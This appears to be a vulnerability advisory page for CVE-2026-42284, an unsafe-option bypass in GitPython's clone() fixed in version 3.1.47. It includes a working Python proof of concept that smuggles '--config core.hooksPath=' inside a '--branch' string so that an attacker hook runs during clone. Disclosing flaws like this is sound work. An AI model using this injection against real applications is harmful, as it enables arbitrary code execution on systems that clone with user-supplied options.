CVE-2026-42284: GitPython: Unsafe option check validates multi_options before shlex.split transforms it

Published Apr 25, 2026
·
Updated

Summary

clone() validates multioptions as the original list, then executes shlex.split(" ".join(multioptions)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383: python multi = shlex.split(" ".join(multioptions))

Then validation runs on the original list at line 1390: python Git.checkunsafeoptions(options=multioptions, unsafeoptions=cls.unsafegitcloneoptions)

Then execution uses the transformed result at line 1392: python proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith: python if option.startswith(unsafeoption) or option == bareoption:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clonemultioptions.

PoC

python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(file).resolve().parent))

from git import Repo from git.exc import UnsafeOptionError

try: Repo.clonefrom("/nonexistent", "/tmp/x", multioptions=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multioptions=['--config', '...']: Block as expected") except Exception: pass

DIR = pathlib.Path(file).resolve().parent / "workdirb" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log"

if not SRC.exists(): SRC.mkdir(parents=True) r = lambda a: subprocess.run(a, cwd=SRC, captureoutput=True) r("git", "init", "-b", "main") (SRC / "f").writetext("x\n") r("git", "add", ".") r("git", "commit", "-m", "init")

HOOKS.mkdir(existok=True) hook = HOOKS / "post-checkout" hook.writetext(f"#!/bin/sh\nwhoami > {LOG.asposix()}\nhostname >> {LOG.asposix()}\n") hook.chmod(0o755)

LOG.unlink(missingok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.asposix()

try: Repo.clonefrom(str(SRC), str(DST), multioptions=[payload]) except UnsafeOptionError: print(f"multioptions=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass

if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, captureoutput=True)

print(f"multioptions=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.readtext().strip())

Output: multioptions=['--config', '...']: Block as expected multioptions=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True texugo DESKTOP-5w5HH79

Impact

Any application passing user input to multioptions in clonefrom(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Other sources

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, clone() validates multioptions as the original list, then executes shlex.split(" ".join(multioptions)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

NVD

Affected Software

3 affected componentsFixes available
pip/GitPython<3.1.47
3.1.47
Gitpython Project Gitpython Python<3.1.47
debian/python-git<=3.1.14-1, <=3.1.14-1+deb11u1, <=3.1.30-1+deb12u2, <=3.1.44-1
3.1.50-1

Event History

Apr 25, 2026
Advisory Published
via GitHub·11:41 PM
Data Sourced
via GitHub·11:41 PM
DescriptionSeverityWeaknessAffected Software
May 7, 2026
CVE Published
via MITRE·06:19 PM
Data Sourced
via MITRE·06:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
May 27, 2026
Data Sourced
via Debian·02:12 AM
DescriptionAffected Software
Data Sourced
via Launchpad·02:12 AM
Description
May 28, 2026
Data Sourced
via Ubuntu·02:11 AM
RemedyDescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42284?

CVE-2026-42284 has been classified with a moderate severity level due to its potential impact on application security.

2

How do I fix CVE-2026-42284?

To fix CVE-2026-42284, upgrade GitPython to version 3.1.47 or later.

3

What software is affected by CVE-2026-42284?

CVE-2026-42284 affects GitPython versions prior to 3.1.47.

4

What is the potential impact of CVE-2026-42284?

The potential impact of CVE-2026-42284 includes the execution of unsafe options through user input, which may lead to security vulnerabilities.

5

Is there a workaround for CVE-2026-42284 if I cannot upgrade?

Currently, there are no documented workarounds for mitigating the risks associated with CVE-2026-42284 without upgrading.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203